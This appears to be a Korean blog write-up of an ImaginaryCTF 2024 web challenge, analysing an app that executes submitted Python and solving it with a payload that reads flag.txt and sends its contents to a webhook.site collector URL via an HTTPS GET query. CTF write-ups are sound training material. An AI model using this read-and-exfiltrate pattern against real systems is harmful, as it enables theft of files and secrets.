환경 설정
OS 환경 : Kali Linux ( Docker 올려서 사용 )
사용한 툴 : webhook
Webhook.site - Test, transform and automate Web requests and emails
Upgrade to a Webhook.site account to unlock unlimited requests This URL received the maximum of {{ appConfig.MaxRequests }} requests and can't accept more requests, emails or DNSHooks. New requests sent to this URL will return HTTP status code 410 Gone or
webhook.site
문제
여타 다른 문제와 동일하게 flag.txt를 찾는 문제이다.
풀이
문제의 웹으로 들어가면 위와 같이 구성되어 있다.
여기서 코드를 넣고 Run Code 를 클릭하면 아래와 같이 P2C의 색상이 바뀐다. ( 정상 작동이 된다. )
여기에서는 딱히 추출할 정보가 없으므로 소스코드를 확인한다.
#app.py
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
위는 app.py의 소스코드이다.
여기서 봐야할 부분은 함수 xec(code)이며, 소스코드 분석을 진행해야한다.
코드의 진행은 아래와 같다.
- code 를 strip()으로 공백을 없앤다.
- code를 한줄씩 잘라 공백과 결합하여 indented 변수를 생성한다.
- md5 형식으로 <md5-hash>.py 파일을 생성한다.
- file을 오픈하고 main 함수를 선언한다. main 함수 선언 밑에 code 를 잘라넣은 indented 가 삽입된다.
- system 명령어로 file 에 755 권한을 부여한다.
- subprocess를 사용해서 작동시킨다.
- 작동이 끝나면 file을 삭제한다.
하지만 우리는 flag.txt 파일을 얻어내야한다.
그러기 위해서는 입력하는 코드에 다른 사이트로 이동하는 후킹 코드를 생성해 flag.txt의 값을 읽어내야한다.
고로 webhook.site 에 접속해 후킹할 대상을 생성한다.
작성한 코드는 아래와 같다.
import http.client
import os
#webhook.site 사용
host = 'webhook.site'
base_path = '/70105cc6-f525-4668-8c54-dc5bcd905217'
#flag.txt 값을 읽어옴
file = open('flag.txt').read().strip()
#get방식으로 옮길예정 형식을 맞춰줌
query_string = 'q=' + file
url_path = f"{base_path}?{query_string}"
#conn 객체 생성하여 https 연결
conn = http.client.HTTPSConnection(host)
conn.request('GET', url_path)
response = conn.getresponse()
print(f"Status : {response,status}")
print(f"Reason : {response.reason}")
print("Response body :")
print(response.read().decode())
conn.close()
코드를 삽입하고 클릭하면 코드가 실행되었는지 반응을 못보지만, webhook으로 이동하면 추가된 request를 확인할 수 있다.
위 그림과 같이 Query string 으로 flag 값이 도출된 것을 확인할 수 있다.
'CTF > ImaginaryCTF 2024' 카테고리의 다른 글
(Reversing) unoriginal (0) | 2024.08.01 |
---|---|
(WEB) journal (2) | 2024.07.22 |
(WEB) readme (0) | 2024.07.22 |